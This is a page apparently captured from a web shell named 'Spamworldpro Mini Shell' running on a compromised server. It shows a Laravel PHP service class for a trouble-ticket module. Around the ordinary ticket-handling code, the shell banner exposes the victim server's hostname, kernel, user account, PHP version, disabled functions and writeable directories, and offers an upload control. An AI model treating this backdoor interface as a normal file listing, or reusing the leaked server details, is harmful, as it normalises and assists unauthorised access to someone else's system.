Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ledger.corals.io/Corals/modules/TroubleTicket/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ledger.corals.io/Corals/modules/TroubleTicket/Services/TroubleTicketService.php
<?php

namespace Corals\Modules\TroubleTicket\Services;


use Corals\Foundation\Services\BaseServiceClass;
use Corals\Media\Traits\MediaControllerTrait;
use Corals\Modules\TroubleTicket\Facades\TroubleTickets;
use Corals\Modules\TroubleTicket\Models\IssueType;
use Corals\Modules\TroubleTicket\Models\PublicOwner;
use Corals\Modules\TroubleTicket\Models\TroubleTicket;
use Corals\User\Models\User;
use Illuminate\Foundation\Validation\ValidatesRequests;
use Illuminate\Http\Request;

class TroubleTicketService extends BaseServiceClass
{
    use ValidatesRequests, MediaControllerTrait;

    protected $excludedRequestParams = [
        'attachments',
        'auto_assignment',
        'assignees',
        'assignee_id',
        'is_public_owner',
        'public_owner',
        'g-recaptcha-response'
    ];

    public function preStoreUpdate($request, &$additionalData)
    {
        $issueTypeId = $request->get('issue_type_id');

        $issueType = IssueType::query()->find($issueTypeId);

        $additionalData['team_id'] = optional($issueType)->team_id;

        $this->validateTT($request);
    }

    public function preStore($request, &$additionalData)
    {
        $additionalData['code'] = TroubleTicket::getCode('TT', 'code');

        if ($request->get('is_public_owner') || !user()) {
            if ($request->input('public_owner.email') && $request->input('public_owner.name')) {
                $publicOwner = PublicOwner::query()->updateOrCreate(['email' => $request->input('public_owner.email')],
                    [
                        'name' => $request->input('public_owner.name')
                    ]);

                $additionalData['owner_type'] = getMorphAlias($publicOwner);
                $additionalData['owner_id'] = $publicOwner->id;
            }
            $request->request->add([
                'is_public_owner' => 1,
            ]);
        } elseif (user() && user()->cannot('fullCreate', TroubleTicket::class)) {
            $additionalData['owner_id'] = user()->id;
            $additionalData['owner_type'] = getMorphAlias(User::class);
        }

        if (!user() || user()->cannot('fullCreate', TroubleTicket::class)) {
            $additionalData['status'] = 'new';

            $request->request->add([
                'auto_assignment' => 1,
                'owner_type' => $additionalData['owner_type'] ?? null,
                'owner_id' => $additionalData['owner_id'] ?? null,
                'status' => $additionalData['status'],
            ]);
        }
    }

    /**
     * @param $request
     * @throws \Illuminate\Validation\ValidationException
     */
    protected function validateTT($request)
    {
        $rules = config('trouble_ticket.models.troubleTicket.validation_rules');

        $attributes = [];

        $this->attachmentsValidation($request, $rules, $attributes);

        $attributes['public_owner.email'] = trans('TroubleTicket::attributes.troubleTicket.public_owner.email');
        $attributes['public_owner.name'] = trans('TroubleTicket::attributes.troubleTicket.public_owner.name');

        $messages = [
            'public_owner.email.required_with' => trans('validation.required', [
                'attribute' => trans('TroubleTicket::attributes.troubleTicket.public_owner.email')
            ]),
            'public_owner.name.required_with' => trans('validation.required', [
                'attribute' => trans('TroubleTicket::attributes.troubleTicket.public_owner.name')
            ]),
        ];

        if (!user()) {
            $rules['g-recaptcha-response'] = 'required|captcha';
        }

        $this->validate($request, $rules, $messages, $attributes);
    }

    public function postStore($request, $additionalData)
    {
        $assigneeId = $request->get('assignee_id');

        $latestActivityRecord = $this->model->activities()
            ->where('description', 'created')->where('log_name', 'default')
            ->latest()->first();

        $this->model->logActivity(trans('TroubleTicket::activities.tt_created', ['code' => $this->model->code]),
            $latestActivityRecord->changes());

        TroubleTickets::handleAssignment($this->model, $assigneeId);
    }

    public function postUpdate($request, $additionalData)
    {
        $assigneeId = $request->get('assignee_id');

        if ($assigneeId != TroubleTickets::getFirstTTAssignee($this->model)->id) {
            $this->model->assignees()->delete();

            TroubleTickets::handleAssignment($this->model, $assigneeId);
        }

        $latestActivityRecord = $this->model->activities()
            ->where('description', 'updated')->where('log_name', 'default')
            ->latest()->where('created_at', '>=', now()->subSeconds(30))->first();

        if ($latestActivityRecord) {
            $hasChanges = $latestActivityRecord->changes()->filter(function ($item) {
                return !empty($item);
            })->isNotEmpty();

            if ($hasChanges) {
                $this->model->logActivity(trans('TroubleTicket::activities.tt_updated', ['code' => $this->model->code]),
                    $latestActivityRecord->changes());
            }
        }
    }

    public function postStoreUpdate($request, &$additionalData)
    {
        $this->handleAttachments($request, $this->model);
    }

    /**
     * @param Request $request
     * @param TroubleTicket $troubleTicket
     * @return \Illuminate\Http\JsonResponse
     * @throws \Illuminate\Validation\ValidationException
     */
    public function addAttachments(Request $request, TroubleTicket $troubleTicket)
    {
        $rules = ["attachments" => 'required'];

        $attributes = [];

        $this->attachmentsValidation($request, $rules, $attributes);

        $this->validate($request, $rules, [], $attributes);

        try {
            $fileNames = $this->handleAttachments($request, $troubleTicket);

            $causer = user() ?: $troubleTicket->owner;

            $troubleTicket->logActivity(trans('TroubleTicket::activities.tt_attachment',
                ['causer' => $causer->getIdentifier(), 'files' => join(', ', $fileNames)]));

            $message = [
                'level' => 'success',
                'message' => trans('Corals::messages.success.created',
                    ['item' => trans('TroubleTicket::labels.trouble_ticket.attachment')]),
                'action' => 'site_reload',
            ];
        } catch (\Exception $exception) {
            log_exception($exception, TroubleTicket::class, 'addAttachments');
            $message = ['level' => 'error', 'message' => $exception->getMessage()];
            $code = 400;
        }

        return response()->json($message, $code ?? 200);
    }
}

Spamworldpro Mini